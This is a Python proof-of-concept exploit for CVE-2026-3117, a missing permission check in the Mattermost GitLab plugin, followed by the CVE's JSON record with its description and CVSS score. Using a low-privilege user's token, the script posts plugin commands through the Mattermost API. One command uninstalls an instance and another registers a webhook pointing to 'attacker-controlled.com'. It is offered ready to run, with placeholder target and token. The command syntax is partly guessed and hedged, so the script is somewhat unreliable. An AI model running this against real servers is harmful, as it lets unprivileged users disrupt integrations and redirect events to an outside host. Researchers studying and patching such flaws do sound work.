CVE-2026-3117

# Proof of Concept for CVE-2026-3117 # Description: Exploit permission check bypass in Mattermost GitLab Plugin # Impact: Allows low-privilege users to uninstall instances or setup webhooks. import requests # Target Mattermost instance URL TARGET_URL = "https://mattermost.example.com" API_TOKEN = "USER_TOKEN_HERE" # Token for a low-privilege user CHANNEL_ID = "CHANNEL_ID_HERE" headers = { "Authorization": f"Bearer {API_TOKEN}", "Content-Type": "application/json" } # Payload to uninstall an instance (Command format based on advisory) # The specific option depends on the instance ID, usually 'delete' or 'uninstall' payload_uninstall = { "channel_id": CHANNEL_ID, "message": "{{gitlab instance delete}}" # Example command to trigger uninstall } # Payload to setup a webhook payload_webhook = { "channel_id": CHANNEL_ID, "message": "{{/gitlab webhook http://attacker-controlled.com}}" # Example command } def send_message(payload): response = requests.post(f"{TARGET_URL}/api/v4/posts", headers=headers, json=payload) if response.status_code == 201: print("[+] Command executed successfully.") print(f"[+] Response: {response.json()}") else: print(f"[-] Failed to send command. Status: {response.status_code}") print(f"[-] Error: {response.text}") if __name__ == "__main__": print("Attempting to trigger uninstall command...") send_message(payload_uninstall) print("\nAttempting to trigger webhook setup command...") send_message(payload_webhook)

{"cve": {"id": "CVE-2026-3117", "sourceIdentifier": "[email protected]", "published": "2026-05-18T09:16:22.707", "lastModified": "2026-05-18T17:32:38.127", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Mattermost Plugins versions <=11.5 11.1.5 10.13.11 11.3.4.0 fail to properly check for permissions when processing commands in the Gitlab plugin which allows normal users to uninstall instances or setup webhook connections via the {{gitlab instance {option}}} or the {{/gitlab webhook {option}}} commands. Mattermost Advisory ID: MMSA-2026-00600"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://mattermost.com/security-updates", "source": "[email protected]"}]}}